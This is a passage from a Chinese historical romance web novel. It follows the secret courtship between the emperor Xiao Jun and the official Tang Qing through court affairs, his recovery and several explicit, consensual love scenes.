唐青不假思索地道:“断然不是。” 萧隽:“孤不向朝堂百官宣布我们的关系,可若有官员无意觉察,可也算在孤的头上?” 唐青轻吟,道:“自然不算。” 萧隽笑道:“好,那孤就答应你。” 唐青:“委屈陛下了……” 这么做,也是出于二人关系对朝堂的影响。 一来他与萧隽感情还没稳定,往后是否变化还是个未知, 二来若当即就把关系宣告于众,往后一段时间参奏的本子只多不少。 近几个月处理邯州灾情已叫萧隽和朝堂官员忙得焦头烂额, 他不愿在此情况下让对方分心。 所以,二人最好先谈一段日子的“地下恋情”。 建议是他主动提的,对此,唐青免不得生出几分愧疚。 见状,萧隽拥紧掌心里的腰肢,趁美人心软之际,俯首吻了吻。 薄唇带着热烈的温度,席卷着唐青侧髻。 他眼尾连接印下潮湿,等反应回来,无奈仰头:“陛下,我们还在外边,不该……” 萧隽依旧俯身,微微捧起他的脸,在动合的唇畔啄下一吻,紧接着圈紧唐青,几乎把他揽入怀里。 玄色的衣摆完全罩拢唐青,尽管方才他那样说,可毫无推拒萧隽的意思,此刻全然信赖,眉眼化作九月秋色里的一抹春。 此景此人,萧隽如何能不心动。 当下想也不想,吮了吮两片软润的唇,抵入唇缝深深吻了进去,继而攫取属于唐青的每一丝甜津。 ** 回到殿中,已是夕阳残照。 几名宫人动作轻巧地送了膳食入厅,待布置好菜色,很快离开。 百鸟朝凤的屏风后,唐青正在用清水洗脸,他手心沁凉,沿脸颊反复拍抚,试图降下那股许久未退的热潮。 萧隽绕进屏风后,拿起软帕替他擦了手。 唐青的嗓音残余些许沙哑:“我自己来。” 萧隽眉目始终流露着餍足之色,落座用膳时,还想把唐青圈在座椅前,把他抱在腿上喂食。 唐青用胳膊挡开他的动作,微微抬了声,眼神带着斥责,又含了些许嗔色:“陛下。” 萧隽道:“孤不闹你了,先用膳。” 说着,把盛着连藕排骨汤的冰瓷碗送到他手边:“尝尝,汤味清甜。” 二人相继安静用膳。 随着暮色四临,唐青洗漱之后身子已有些乏了,倒是萧隽还没有要走的意思。 他倚在灯下,青丝披散在身后,泛出少许湿润的水汽。 见此,萧隽拿起一块薄的棉布替他擦拭发梢。 这时唐青只着月色小衣,襟口微微敞开,锁骨线条优美,肌肤在灯光朦胧的映衬下如同细腻华润的绸缎,欲叫人以唇膜拜。 纵使集世间所有的美好事物,萧隽也觉得那些俗物比不上唐青一丝一毫。 他手上力道愈轻,自小衣下的那截细腰后环起手臂,让唐青倚在怀里。 萧隽注视那双含情温和的眉眼,道:“这些日子,也没问你使唤宫人可还顺手,若不合适,孤遣人把你那丫鬟接进宫照顾你。” 唐青很轻地摇了摇头:“此事过几日再定夺吧,兰香见不得我生病,如若此时进宫,惹她伤心不说,怕会引起自责。” 萧隽:“所以一开始你瞒着孤?” 唐青垂眸:“我不确定自己能不能挺住,而且听大夫说疫疠会传染,实在不想牵连旁人。” 他轻声道:“更不想把你牵连进来。” 萧隽:“可孤还是来了。” 唐青叹息。 萧隽吻上他的侧颊:“幸好孤来了,若你发生意外,孤保不准会做出何事。” 唐青轻握交叠在腹部前的手掌,只听旁边的帝王低沉问:“孤今夜可能夜宿在此?” 唐青嗔笑:“不能。” 他摇摇头:“陛下,您莫要再得寸进尺了。” 萧隽又在他耳廓啄吻一记:“好,孤等你睡了自会离去。” 此般温情款款,唐青在萧隽的陪同下逐渐沉入香甜黑沉的梦里。 ** 过了几日,萧隽果然遣人将兰香领入皇宫。 如唐青所料,小姑娘见到唐青,立刻就哭成了泪人,涟涟的泪水淌下脸颊,半跪在榻前,任唐青如何劝说也不起来。 他无可奈何地开口:“就是怕你这般,早知如此,不如晚些时候再告诉你,或什么都不说了。等我自个儿养好身子,回了府去,当做什么都没发生。” 兰香猛地摇头:“不要,先生不要瞒兰香。” 她用帕子赶忙把泪水擦去,隔着红肿的泪眼,细瞧唐青,心下一阵后怕,哽声道:“幸好先生平安。” 兰香洗了脸,收拾干净后,围着唐青忙前前后, 唐青好笑地拉着她坐下:“此处有宫人,无须你做什么,咱们已经有大半年没见面,与我说会儿话吧。” 兰香应声,忙把半年来邺都内发生的大大小小的事详尽告知。 说完,兰香一阵后怕。 她三个月前就听说疫疠的厉害,邯州许多染病的百姓都死了。 普通农户家里死了人,草席子一卷,往 山后寻个土坑就这么埋了,家家户户挂着丧布,到处都是哭声。 她道:“好在先生福大命大,平安度过这次疫情。” 唐青这次能病愈,很大原因是萧隽以血做引救了他,但他没把此事告诉兰香。 他看着小姑娘,道:“辛苦你了,我不在府邸的日子,里外事务都交给你打理。” 兰香没有半句怨言,进了宫里,恨不得时刻陪在唐青身边照顾。 灾疫和丰收集中在秋季,萧隽需要处置的政务很多,并非每日都能来看他。 有兰香在,唐青调养之余也没那么乏闷了,常常抽空检查兰香识字计算的教学成果,或与她到宫殿周围散步。 ** 九月下旬,经大夫复诊后,唐青的身子已完全康复,他也萌生了搬回府邸的念头。 没见到萧隽,唐青留了字条,又差宫人帮忙带话。 简单收拾一番,他带着兰香出宫。 当天夜里,唐青刚回寝屋躺下不久,半梦半醒间,似乎有道目光落在身上。 熟悉的麝香气息笼在榻前,萧隽坐在一侧,看了他好一阵,就要离去时,手指紧了紧,却是唐青迷迷糊糊地睁了眼,指尖松松地勾上他的小指。 “陛下?” 他就要起身,萧隽将他带回睡榻里:“好好歇着,今日未见过你,辗至深夜,这才来看一眼。” 唐青眸子半阖,弯了弯唇畔。 他道:“我给你留了字条,也托宫人留了话。” 萧隽轻抚他的眉眼:“孤收到了。” 唐青含糊问:“几时了?” 萧隽:“就要子时。” 这也是他舍不得出声惊扰的缘由,本来只想看一阵就走。 唐青喃喃:“那么晚了。” 他掀开眼睫,隔着朦胧月色,静静望着萧隽模糊的轮廓。 须臾后,他忽然朝榻里让了让,柔声道:“时辰很晚了,明日有早朝,睡一会儿再回去吧。” 萧隽难以置信,但他很快褪去外袍,侧睡在榻外,小心把一抹温暖的香拢入怀里。 萧隽吻了吻唐青迷糊的眸子,占去了床榻另一侧,哑声道:“即使出于一时的心软,孤也不让你有后悔的余地了。” 第129章 第 129 章 翌日, 天还没亮,唐青觉察身边的动静,随着意识懵懵从榻里坐起。 手一伸, 轻轻勾住了就要离榻的萧隽。 屏风外落着一盏蓝色罗纱罩子的寝灯, 榻前微透光亮, 萧隽逆着光, 朝他弯下身躯。 唐青眼前一暗, 很快让对方拢入怀里。 带着深沉暖意的麝香气息裹着周身, 他心绪安然, 不禁用脸颊蹭了蹭。 额际传来微湿温暖的触感,萧隽吻着他的眉心:“吵醒你了?” 唐青半阖眼眸,下颌微抬, 搭在萧隽肩膀上,模样有些慵懒。 他道:“梦到你了,一睁眼,正好看到你要离开, 下意识就伸手拉了过去。” 闻言, 萧隽整颗心霎时柔软, 如同浸在一汪春水蜜意里,头一次有了君王不早朝的念想。 他再次低头啄吻唐青的眉心,沿着翘立的鼻尖轻轻一碰。只见怀中美人仰着脸,唇畔虽带了笑,腮边却红如敷粉,风华惊绝中含着几分羞,更叫人心火沸腾。 耳鬓厮磨片刻, 唐青睁着波光潋潋的眸,瞥向窗外天色, 推了推萧隽肩膀,哑声道:“陛下,刚去上朝了。” 唐青还在告病假,这几日须得休养。 萧隽道:“用了早膳再睡会儿,午前孤遣人接你入宫,可愿意?” 唐青欣然应许:“好。” 他望进萧隽的那双淡色眼睛里,忽然主动搂上对方脖子,往薄唇一侧轻轻吻下一记。 唐青哑笑道:“陛下,恕臣不送。” 萧隽亲吻他的颈项:“淘气。” 大掌却沿着柔软的腰肢按揉几下,显然对此十分受用。 如此,目送萧隽离开,唐青又补了会儿回笼觉。 再睁眼,天光明亮,兰香候在外头,听到寝屋内的响动,笑吟吟地敲了敲门,得到唐青应允后,方才与另一名丫鬟带着盥洗用具进屋。 唐青穿戴好衣物,看兰香打发走另外一名丫鬟后,绕进室内,替他整理勾在腰侧的蹀躞和香囊。 兰香问:“先生可要在前厅用早膳?” 唐青:“送到房内吧,盛碗粥就好,午时我到宫里用午膳。” 兰香窃笑,继而开口:“兰香斗胆,敢问先生是与皇上……” 他微微颔首,脸上露了点笑意,叮嘱道:“此事勿要声张。” 兰香连连点头。 在房内的小厅喝了一碗赤豆莲子羹,随后唐青伏在书案前看了会儿书。 日近正午,兰香从前院赶来传话,说是宫里头的李常侍来了。 萧隽派了李显义来接他进宫。 唐青合衣而起,走前忽然瞥见案前长颈天青瓷瓶里的凌霄花,取下一支拿在手上,行至前院与李显义汇合。 李显义笑道:“侍郎,没耽误吧?” 唐青浅笑:“无妨,本就在书房里看些杂书打发时间,陛下今日朝会可好?” 李显义:“未添其他要事,议的都是邯州那些。” 又道:“还有一事,下月初,皇上会主持秋季耕收开坛典礼。” 自休养生息国策实施以来,民间经济稳步回升,国家的经济也随之上升。 农种第三年,除了天灾地区,大邺境内耕收的粮食都比上一年有所增长,边境的粮仓陆续填满。 是以,为了昭显天佑大邺,君王恩威,这三年每逢春秋二季,都会由天子亲自主持耕收大典的开坛仪式。 李显义笑呵呵地道:“今年不止百官,连百姓也有机会瞻仰圣颜。” 唐青和李显义在路上聊了一阵,入宫后,才到颐心殿坐下不久,很快瞧见萧隽穿着玄色金丝龙纹衮衣,散了会议径直来与他见面。 “陛下。”唐青迎到殿门,正欲行礼,萧隽屏退闲杂人等,牵上他的手,轻轻在他手背上拍了拍,道:“只我们二人,不必见外。” 又问:“可等久了,饿不饿?” 唐青摇头。 金丝楠木桌案上放了几碟蜜枣和茶点,方便他时刻食用。他适才吃了几颗蜜糖藕片,嘴里还是甜的。 案前放着他带来的那支凌霄花,萧隽瞧着,问:“何意?” 唐青:“陛下在宫里送过我此花,礼尚往来。” 萧隽勾了勾嘴角,忽然拿起凌霄花,别在唐青耳畔。 在大邺,俊雅风流些的男子亦会敷粉戴花。在寒冬时节,男子发上别梅枝,到了伏夏,也常常能在王城内看到年轻男女戴着凌霄花。 女子戴花环,男子则在发髻别一截花枝,不若女子娇俏,却另有一番风流雅致。 唐青摸了一下耳后的凌霄花,笑着取下。他想给萧隽别上此花,手还没伸出,腕子就被对方握住了。 萧隽把他的手置在膝头,指腹贴着手背摩挲。 唐青手背发痒,想抽回来,没成功,索性放弃了,问道:“援救邯州灾情的进展可还顺利?” 萧隽:“今年十月,等粮食都收成了,会有更多粮车运往邯州,以保当地百姓度过明年开春,过个饱年。” 说着,他把唐青拉到腿上坐稳,继而圈在身前。 “涿州海贸也十分顺利,自你建议开设海衙司,鼓励海外贸易,短短两个月,已有外域海国的数只商船在大邺海域内停泊,用他们的特产与我们交换茶叶和丝绸,入关者,还需按比例收缴关税。” 随着外域往来经商的船只越多,其海关税费在不久的将来可作为大邺一笔不菲的财政收益。 正如唐青所料,海外国度的经商贸易,远比境内边贸来的繁荣。 货品的种类愈发丰富,引入大邺可进一步优化资源,更能带动沿海岸的当地百姓就业,使得他们多了份谋生的活计。 话音一顿,萧隽拨开唐青背后如云的青丝,薄唇贴在细长洁白的颈根吻了吻。 “青儿,孤想同你好好用道午膳,不谈这些了,可好” 唐青讪讪,侧回身子,应道:“好。” 他过去习惯与萧隽商讨政务以此逃避这人的感情,如今二人关系变化,理应把公私事情分开。 欲起身,圈在腰间的手臂却纹丝不动。 唐青好笑:“陛下,该放手了,你这般我们如何用膳?” 且不说,一会儿宫人传膳时看到影响不好。 萧隽握住唐青稍稍推拒的手,放在嘴边啄吻, 唐青无奈:“陛下。” 萧隽笑道:“这次南下有功,过几日等你回朝,孤好好嘉奖你,可有想要的?” 不等他开口,瞥见殿门外的动静,立刻噤声。 李显义和传送膳食的宫人们入殿,唐青坐在萧隽腿上不敢再挣扎,省得引来耳目。 过了须臾,很显然他多虑了。宫人们眼观鼻,鼻观心,根本没有往他们的方向窥看。 唐青摇摇头,被萧隽拢在袖底下牵起的手勾了勾,稍加施力抓了一记。 萧隽淡笑:“不疼,青儿可以多使些劲。” 唐青无法,挤出一句:“……皮糙肉厚。” * 用过午膳,萧隽还要召见几名官员到轩德殿议会,唐青便不再多留,而是返回府邸,准备睡个午觉。 他刚进门,庭院里正在洒扫的兰香唤住他,立刻放下手里的活儿,道:“先生,官驿正午时差人送来了两封信,还有几箱子物什。” 唐青一顿,拿到信后查看,如他所想,是韩擒和萧亭的信。 自萧亭回了冀州,韩擒西驻幽州,他们二人会定期差人送信给他,或送些玩意来。 信中内容多为问候关怀,如同远在他乡的知己好友,言辞无任何僭越。 即使这般,唐青仍不知如何回应。 索性前两封信都没有回。 他希望韩擒和萧亭过得好,又不想再打扰他们。 若此番回了信,告诉他们自已与萧隽的关系,理应能绝了他们最后的念想,不再送信来了吧。 想罢,唐青拿着信走回书房,思忖之后,默然提笔。 不久,唐青等待字迹沥干的过程,伏在案前睡着了。 日薄西山,待他再掀动羽睫,嗅到一股温暖深沉的麝香。 萧隽俯身于案前,目光落在两张宣纸上。 正是萧亭和韩擒给他的信。 唐青哑声:“陛下……” 萧隽沉声冷哼:“孤倒不知,他们二人对孤的意中人还念念不忘。” 说是如此,当初唐青有那两段情时,萧隽也没有断过对唐青念想。 唐青扶额,有些头痛。 “陛下,您……” 萧隽低头,手臂圈在交椅一侧,几乎把坐在椅子上的唐青拥在怀里,托起他的后颈,不由分说,先是含着那两片微动的红唇,时重时轻的。 待唐青气息不稳,萌生后退的念头,萧隽松开掌心,看着他酡红的脸庞,手掌一按,才透了口新鲜空气的唐青立刻被萧隽吮着舌尖,抵入甜美潮湿的喉腔里顶了顶。 第130章 第 130 章 唐青被松开时, 呼出的气息里均是潮湿,唇像泡了水的花瓣,浮着肿, 湿透了, 红得惊人。 他的衣衫也被揉乱了, 露出半个雪白的肩, 颈线优美, 连着雪肩, 叫萧隽转不开目光。 萧隽低头嗅了嗅, 只觉唐青身上的香气愈发馥郁。 心潮澎湃,掌心禁不住再次揉了几记。 唐青深深换了口气,腰肢让那只大掌揉得发软。 他靠在萧隽的肩膀喘息, 半晌,问道:“陛下,您怎么过来了。” 萧隽道:“过来陪你一起用膳。” 话音落罢,意犹未尽地再次吻了吻那两片红唇。 暮色四起, 书房里的光线慢慢变暗。 唐青指尖抚上萧隽的面庞, 沙哑道:“来回一趟太麻烦了。” 萧隽握着他的手贴在面上:“孤给你赐一座朱雀街上的府邸?” 直穿朱雀街就是玉河桥, 过了桥便可抵达宫门,出行方便。 唐青一忖,摇头拒绝。 “这座院子是臣在大邺买下的,意义非凡。” 且不说邺都寸土寸金,即使有钱,他也没有换房子的打算。 萧隽笑笑:“赐给你,住不住由你心意也不愿意?” 唐青再度摇头。 能得天子隆恩在王城内御赐府邸的人, 要么出生皇亲国戚,如萧亭那般, 要么功绩卓然,譬如韩擒。 若他接受恩赐,朝堂上下又要掀起诸多艳话。 萧隽向心上人示好不成,道:“也罢。” 唐青睨他,又听萧隽道:“总归有一日,你会同孤住在宫里。” 唐青:“如此笃信?” 萧隽看着他:“孤只信精诚之至,纵你是块金石,也有被打动的一日。” 他们二人交颈闲谈,萧隽没再提方才信上一事。 唐青在他怀里,与他在一起,那么便已做了选择。何故为了远在边境的人,来消耗他与唐青的感情? 萧隽最清楚不过,唐青选择一人时有多坚定。 二人脉脉不语,门外,兰香举着灯,进退为难。 眼见天色晦暗,她不得不开口打破书房内的宁静。 “皇上,先生,可要奴婢往屋里添灯?” 唐青开口欲言,萧隽抱起他,道:“出去用膳,有什么事明日再处理。” 唐青:“也好。” 又道:“陛下,您放我下来走,若叫外头的人瞧见影响不好。” 门外适时传来脆声声的回应:“回皇上和先生,奴婢什么都没看到。” 唐青好笑:“……这鬼丫头。” 用了晚膳,二人又相处片刻,送萧隽回宫时,唐青竟也起了几分不舍的心思。 他站在廊下望着灯影朦胧的院子,自言自语道:“明日又不是瞧不见了,怎地脑子里还想那么多。” ** 过几日,唐青入宫上了早朝。 他上个月一连告了病假,百官听闻他身患疫病,连接上前问候。 寇广陵和李秀莽更是关切不已,唐青与他们站在一起说了会儿话,堂下窃窃交语,等天子入殿,很快都各自归位,例行朝会。 春前被派往南地各州防治水患的官员也已经回朝,这一日,萧隽在朝会上对此行治理水患的官员,连同唐青一并嘉赏。 此番赏赐下来,下了早朝,唐青与另外几名官员俱被百官围着祝贺,几番恭维谦虚之后,他才出人群,便看见候在廊下静等多时的李显义。 唐青道:“有劳李常侍。” 李显义笑吟吟的:“下官的本份,皇上还在议会,过会儿就来见侍郎了。” 唐青眉眼含笑,到了颐心殿,宫人们很快退下,连李显义也悄然离开,独留他坐在案前品茗,边上还有些解闷的精致玩意。 他抽了本画籍,耐心翻阅过半时,萧隽入殿,还换了套利落英气的骑装。 只见眼前的帝王劲腰长腿,肩宽背阔,比起往日更为深沉的威仪华贵,多了几分慑人而锋利的英锐之气。 唐青诧异:“陛下要出宫?” 萧隽:“带你到郊外策马。” 这一个多月唐青时时卧在房内,回到府邸后,最多乘坐马车在皇宫和宅邸之间两点一线活动。 眼下入秋,趁着没冷下来,萧隽想带唐青多走走。 唐青笑着合起画籍:“好。” 又问:“我是不是该换一身衣衫?” 萧隽道:“给你备好了。” 唐青换上另一身宝蓝色骑装,领口和护腕处镶嵌着宝石,如竹的细腰束起,腰间的躞蹀也缠勾着瑰丽的翡翠玛瑙。 他笑着打量袖口,摸了摸上面价值不菲的宝石,无奈道:”陛下,会不会太招摇了?” 萧隽:“怎会?” 说着,将玉冠从宫人手上接过,亲自为唐青扎了个高马尾。 唐青看着铜镜里的自己,道:“陛下竟还有这等功夫。” 萧隽:“儿时孤便要学会照顾自己,莫说束发,描眉也在手,幼时给母妃描眉,她还称赞孤的手艺巧妙。” 若不是唐青天生丽质,一双眉眼浓淡正好,萧隽兴致起来了,倒想给他描上几笔。 着了骑装,重新束发的唐青多了几分明亮艳色,与平日里的文人模样相比,更像哪家集宠爱于一身的贵气少公子。 萧隽目光深邃,唐青别过眼:“怎么了,若不自然,我还是再换一身吧。” 萧隽:“这样就很好。” * 阳光明朗,萧隽携唐青策马去了城郊。 皇林有侍卫把守,无人干扰他们的清净。 唐青第一次在皇室园林策马,秋光晒得四周泛黄,他从林间穿行,偶尔惊动了周围的野兔或小貂。 萧隽递给他弓箭:“可想狩猎。” 唐青看着藏在草丛里的兔子,接过弓箭,却往木靶的方向走,道:“不射兔子。” 萧隽一下子就笑了。 在皇林骑射约莫一个半时辰,傍晚前,萧隽送他回府。 唐青发髻都是汗,眉眼的笑意却始终未退。 他道:“陛下可要留下来用膳” 萧隽:“好。” 兰香和副管事很快去后厨张罗,他们二人发过汗,便暂时先去沐浴更衣, 许是久不活动,唐青泡在浴桶内没多久便睡着了。 ** 耳畔似有人在不停唤他,接着身子一空,如同飘在云海里。 唐青再睁眼,只见萧隽将他从浴桶里抱起。 他一身的水,立刻打湿对方身上的薄衫,露出结实健阔的胸膛。 萧隽将他放在榻前,上下检查了一番,道:“竟在桶里睡着,可有呛水?” 唐青摇头。 他浑身犹如羔羊,为自己在浴桶内睡着感到讪讪,正要拉起薄褥遮挡,腕子一紧,却叫萧隽扣在掌心。 萧隽目光颇深,眼神有些变化。 从紧致柔韧的腰肢略向匀衬修长的腿,喉结滚动,喑哑道:“青儿好美。” 唐青垂眸:“陛下,子深,我……” 他的话音消失。 萧隽俯身含着他的唇瓣亲吻,带了恳请而热烈的的意味:“让孤仔细瞧瞧,好么?” 唐青说不出好还是不好,因为萧隽嘴上那么问,掌心却肆意得很。 他眯着一双水眸,恍惚浮沉中,腿很痒,好像被打开了。 130-140 第131章 第 131 章 唐青本该拒绝, 望着萧隽淡目里涌出的火热,话到了嘴边,却化为一丝婉转勾魂的轻吟, 胳膊更是慢慢的环上了萧隽脖颈, 这是无声的默许。 榻前氤着百花藤纹的帷幔飘摇晃动, 他的瞳孔也在晃动, 好像变成了一汪水, 因着炙热的触碰, 变得愈发柔软。 蓦然间, 唐青双腿颤了颤,润湿迷离的眸落在不知何时滑向榻尾的人影。 那伟廓的阴影几乎将榻尾覆盖了。 他欲合起双膝,腿弯却无论如何也拢不起来。 唐青深深吸了口气, 无奈之余,细长的指尖稍微施力,揪住了萧隽的一绺墨发,迫使对方抬头。 “别……陛下……” 他气息混乱, 一只手不停地抓乱萧隽的头发, 另一只手扯散帷幔。 指尖勾了纱幔落下, 盖在他的如含春露的脸颊。 朦胧的纱幔缠裹他的身子,晕出两抹艳丽的绯色。 仿如供在神龛里玲珑剔透的珠子,颤颤巍巍的,叫人好不怜惜。 萧隽想吻,想怜惜他。 因而萧隽抬头,重新在唐青面前俯身而下。 隔着纱幔就要吻上时,唐青连忙用手心遮住那张炙潮的薄唇。 他别过眉眼, 哑声道:“别……” 抵在萧隽唇边的那只手心霎时又潮又热。 唐青缩回指尖,对着手心里的湿渍出神。 萧隽目光深暗, 毫无顾忌地拿着他的手放在嘴边,再次啄吻。 “都是青儿的味道。” 唐青眸光仍有些涣散,耳根殷血般通红:“莫要说了。” 萧隽吮着他的唇畔:“孤喜欢吃青儿的味道。” 唐青偏过艳丽靡红的一张脸,说什么也不碰落下的唇舌,太奇怪了。 萧隽低笑,始终俯身压着他,低低开口:“都咽干净了。” 唐青一颤,柔软的指腹贴在对方肩头,只摸到了萧隽流出来的满背的汗。 “别、别说……” “听青儿的。” 夜色渐临,二人始终隔着一层朦胧轻薄的纱幔亲近。 纱幔已经湿透,缠上了唐青每一寸肌肤,萧隽拥着,心火沸腾,掌心的力道也不知轻重起来。 一阵清风涌入窗扉,微微吹散馥郁浓稠的气息。 再一次,唐青无神地靠在萧隽的臂弯里,良久,幽幽望向了外面彻底暗下的天色, 想起回府时兰香和副管事去了后厨张罗,这会儿院子里静悄悄的,连灯也没添。 他愈发脸热,软绵绵地推了推萧隽汗湿的肩膀。 “陛下,我们该起来了。” 萧隽哑道:“好。” 说罢,正要起身,唐青反拉了他一把。 在夜色里看着那半起的轮廓,他默默伸出泛酸的手心;“子深,你要不……” 刚起身的帝王再次俯身拥紧了他,哑声笑着在他耳边啄吻。 “青儿怎么如此好?” 唐青耳根愈加烫了。 萧隽沿着他的腰际和下边,意有所指地揉按几记。 “适才已经叫青儿累着了,孤如何舍得,过会儿就好。” 唐青手都酸了,对萧隽也只能起到半安抚的作用。闻言,也不勉强自己,用巾帕沾了水稍适擦了其他地方,等萧隽也整理完毕,二人这才走出寝屋。 * 兰香叫后厨补了道乌鸡参元汤,佐以红枣等调补元气的食材配料,唐青有些不好意思,萧隽目光却很温柔。 萧隽问:“可还要喝?” 唐青连饮两碗,摇头拒绝。 一阵穿堂风入了屋,他放下碗筷静心感受,良久,总算吹散了滞留在身上的那股热。 这夜萧隽未在府邸留宿,回宫后,过了半宿没有阖眼,便差李显义把折子呈到案前批阅。 同一轮月色下,唐青也有点失眠。 他靠在床前,看着重新挂上去的纱幔,指尖抚了抚渐渐滚烫的脸,缓慢吐了口气,幽声道:“别想了。” * 又过半月,金秋时节飘起凉意,邺都内举行一场耕收礼,天子亲自主持开坛仪式。 帝王的御撵前往太庙时,邺都街头四处汇集近乎全城的百姓,朱雀街上,乌泱泱的人头,只为了一睹帝王圣颜。 唐青跟在百官队伍的前列中,遥遥望向了前方的御撵,眼底浮起很浅的笑意。 在太庙前,萧隽一袭衮衣冕冠,携百官步入祭坛门前。 唐青站在阶下,只见着了玄色九龙衮衣的萧隽立在最高台上,向天祈祷,又在九尊洪鼎上供香。 之后,帝王先于前轩献礼,再入殿内向神明祷告,百官不得跟入。 太常立于前轩,高声宣告,宣布耕收大典的仪式安排。话音刚落,四周击铭礼钟,太庙内伴诵着一段又一段的古老祷文。 唐青学过大邺祭祀的礼仪,此时和身旁的百官一起,虔诚敬香参拜。 仪式持续了两个时辰。 日过正午,唐青准备打道回府。 一辆马车停在面前,李显义从里探出脸来,依旧是接他入宫的。 唐青颔首,被对方扶上车内。 马车畅行无阻地入了玄天门,之后换乘明黄色轿撵,直接送他去往颐心殿。 他与萧隽在一起一个多月,时常留在宫内,私下里已经引起些许官员察觉。 眼下邯州灾情初平,大邺政局稳定。唐青便没多想此事,瞒得了一时,瞒不了一世,顺其自然吧。 来到颐心殿,唐青在萧隽休寝的地方等候。 殿里熏着沉香,使人舒适静心。 时逢秋末,天渐渐冷了,宫殿里的地板铺就了厚实平整的华丽毡毯,窗户也叫人掩上了。 李显义领着宫人送了点心和茶水进来,唐青简单洗漱后,喝了几口热茶,又尝了两块点心。 他静静翻着案上的书,不知过了几时,倦意涌上身子,昏昏沉沉地伏在案前睡下。 待他再睁眼,殿内闪烁着明珠映照的流光,有些昏暗。 唐青转过身,脸颊蹭了蹭身后温暖阔健的胸.膛,和换了一袭里衣的萧隽贴紧而躺。 萧隽也睁开了眼:“睡的可好?” 唐青点头,问过时辰,才发现他居然从午后睡到了晚上。 他没有动,感受着额前印下的轻吻,不觉弯了弯唇角。 “怎么不唤醒我?” 萧隽不加掩饰:“孤想留你。” 说着,彼此的唇舌渐渐触碰。 萧隽几乎一下子深.入了唐青的口腔,掠过他的蜜津,慢慢翻身而上,将握在掌心的雪腕压在枕边。 嗅着唐青身上那股温暖柔和的沁香,萧隽半月前压下的那股躁动再次汹涌薄浮起。 唐青脸上泛出的热潮没比萧隽好到哪里,他试图动了动手,换来的,却是两只手都被禁在发顶上。 萧隽深深吻着他,衣襟松散,唐青这才发现自己在睡后换了身合适的小衣。 ** 他的嗓音渐渐没了调,下意识曲起一条腿。 旋即,萧隽又按着他。 唐青眯起眸,不禁“唔”了声。 他微微颦眉,脸若芙蓉,不由持续地颤动。 待他睁眼,朦胧潮湿的眸光瞥见萧隽稍适退开,明白当前是无路可退了。 唐青缠上准备退开的萧隽,湿润的胳膊环紧了对方汗湿的脖颈。 "没关系陛下……" 萧隽忍着声哑道:“孤怕——” 没给他开口的机会,唐青主动献上唇瓣。 萧隽连连吻着他,两人的汗珠混缠在一块。 最终,萧隽还是如愿以偿。 当下他爱意难抑,吻着唐青的唇,都怕把他凿穿了。 第132章 第 132 章 月上中天, 侍奉的宫人们将香胰,棉巾等盥洗器物送往颐心殿,李显义更是亲自备了参茶送至御前。 帝王御用的汤池里, 热气腾腾, 水雾缭绕, 汤池中央, 隐约可见拥在一起的两道身影。 唐青被萧隽抱来泡了会儿香汤, 此时已经恢复些许力气。 他倚在对方怀里, 曲起双膝坐着。 此时膝盖仍然泛红。 即使御榻里准备了上好的枕垫, 唐青只伏跪片刻,膝盖上柔嫩的肌肤也因连续的冲撞摩擦蹭得通红。 所幸萧隽及时抱他放回怀里,如若不然, 这会儿膝盖只怕已经擦破皮出了血。 见他放空望着膝头,萧隽俯身,怜惜地在上面印下一吻。 “可是弄疼了,待会儿抹些药。” 唐青倚在身后帝王的胸膛上, 胳膊环起膝盖。 青丝贴着他斑红交错的雪背, 叫萧隽看得心软, 忍不住揽了那截细腰,继而拨开湿润的发丝,在他后颈啄吻几记。 唐青颈根敏.感,抖着身子颤了颤。 他才耗损元气,素日里又单薄,不宜在香汤里泡太久。 很快,萧隽拿起棉巾裹着他, 抱上汤池旁边的睡榻,放下后细细擦去水珠。 萧隽碰到他的膝盖时, 捧在掌心里端详,如同看着世间珍宝,又是怜爱地在泛红的肌肤上亲了亲。 唐青脸若春芙,握住对方落在肩头的一绺湿发,想把腿抽出来。 “子深,别。” 萧隽笑笑,待把他的身子抹干,发丝也仔细擦拭,这才拿起熏了木香的衣袍给他穿好。 唐青整理衣襟,对比起自己衣衫完好的模样,萧隽依旧不着寸缕。 滑落的余光瞥见微起的沉物,半蛰伏的规模也令他心惧不已。 他别开眸光,萧隽嘴角噙了笑意。 二人穿戴完毕,萧隽牵起他,柔声道:“先去吃点东西。” 又问:“可还能走?不若孤抱你。” 唐青率先踩着几分虚软的步子赶到前面,带着掩饰的意味说道:“陛下,臣还能走。” 萧隽上前,继续牵了他的手。 从汤泉宫离开,寝殿里的金丝楠木食案上已经摆置着几道膳食。 唐青先把参茶喝了,已近子时,周围灯火通明,他与萧隽面对面坐着安静用膳。 早已过了宫门落钥的时辰,用了些宵夜,唐青留宿在寝殿里。 龙床上的被褥和帷幔已经更换过,鎏金瑞兽香炉里漂浮着舒适的沉香,催人困睡。 唐青很累了,掀不开眼眸,趴在明黄柔软的锦缎枕头里,肌肤不间断地袭来微凉触感。 萧隽给他涂完药,又将他翻回正面,同样用药膏好好呵护了一番颤巍巍肿立的地方。 淡色眼瞳深了深,萧隽换了口气后,替唐青扣好小衣上的结绳,拥紧他躺下。 翌日无朝会,又落了一场秋末的雨。雨水簌簌洒落,笼着庄严沉肃的王城,显出几许萧瑟。 萧隽拥着唐青多睡了片刻。 秋雨刚歇,宫人一早就送来早膳。 唐青陪萧隽用早膳,膳后喝了道滋补养元的汤。 经过一夜休息,身子的乏酸感已去六七分,萧隽给他用的秘药专供皇室贵族所用,效果很好。 萧隽:“一会儿可去尚书台,孤遣人送你过去。” 唐青微忖,很快答应。 “好。” 颐心殿离尚书台有段路程,加上身子仍乏,他便没有拒绝这份心意。 一场秋雨一场寒,临走前,萧隽为他披上斗篷,又拨着他的落发理了理:“莫要着凉。” 唐青抬眸:“陛下也要照顾好自己。” 斗篷所制的面料是今年进贡到御前的极品,绣以日月江河的纹图,华美而贵气。 唐青披着这身斗篷入宫,凡旁人见到,足以忖度他与皇帝的情谊深厚无比。 乘坐御撵到了尚书台,他刚下轿撵,在一楼整理卷宗的苏少游立刻围了过来。 苏少游先看看那明显为皇上所乘的御撵,再打量唐青身上的斗篷,瞪大了眼。 “侍郎,您……” 近些时日,关于唐青和皇上的艳闻在朝堂底下传了不少。 有说看见皇上和唐青比肩狩猎的,一起到田郊巡视的,更有说在上元节当夜,于庙会附近的茶楼上看见他和皇上游街。 唐青哑然。 他的沉默,等同于正面承认苏少游听到的小道消息。 苏少游呐呐。 他们深知唐青得皇上信任,如今又得了另一份宠爱,心惊之余,不免有些担心。 作为臣子,唐青所作所为无可挑剔,但若是“宠臣”,便有着伴君如伴虎的潜患。 